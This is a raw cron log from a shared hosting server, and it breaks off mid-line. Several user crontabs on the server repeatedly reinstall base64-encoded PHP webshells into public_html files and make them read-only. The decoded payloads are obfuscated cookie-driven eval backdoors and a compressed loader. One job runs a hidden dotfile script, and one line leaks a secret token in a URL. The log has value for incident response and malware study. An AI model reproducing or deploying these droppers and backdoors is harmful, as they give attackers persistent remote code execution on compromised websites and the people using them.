Jun  7 04:01:01 medusa CROND[7797]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:01:01 medusa CROND[7798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:01:01 medusa CROND[7800]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:01:01 medusa CROND[7802]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:01:01 medusa CROND[7805]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:01:01 medusa CROND[7809]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 04:01:01 medusa CROND[7810]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:01:01 medusa CROND[7811]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:01:01 medusa CROND[7812]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:01:01 medusa CROND[7814]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:01:01 medusa run-parts(/etc/cron.hourly)[7795]: starting 0anacron
Jun  7 04:01:01 medusa run-parts(/etc/cron.hourly)[7893]: finished 0anacron
Jun  7 04:02:01 medusa CROND[9511]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:02:02 medusa CROND[9555]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:02:02 medusa CROND[9557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:02:02 medusa CROND[9558]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:02:02 medusa CROND[9560]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:02:02 medusa CROND[9562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:02:02 medusa CROND[9561]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:02:02 medusa CROND[9565]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:02:02 medusa CROND[9563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:02:02 medusa CROND[9568]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:02:02 medusa CROND[9570]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:02:02 medusa CROND[9571]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:02:02 medusa CROND[9572]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:03:02 medusa CROND[11240]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:03:02 medusa CROND[11242]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:03:02 medusa CROND[11243]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:03:02 medusa CROND[11244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1b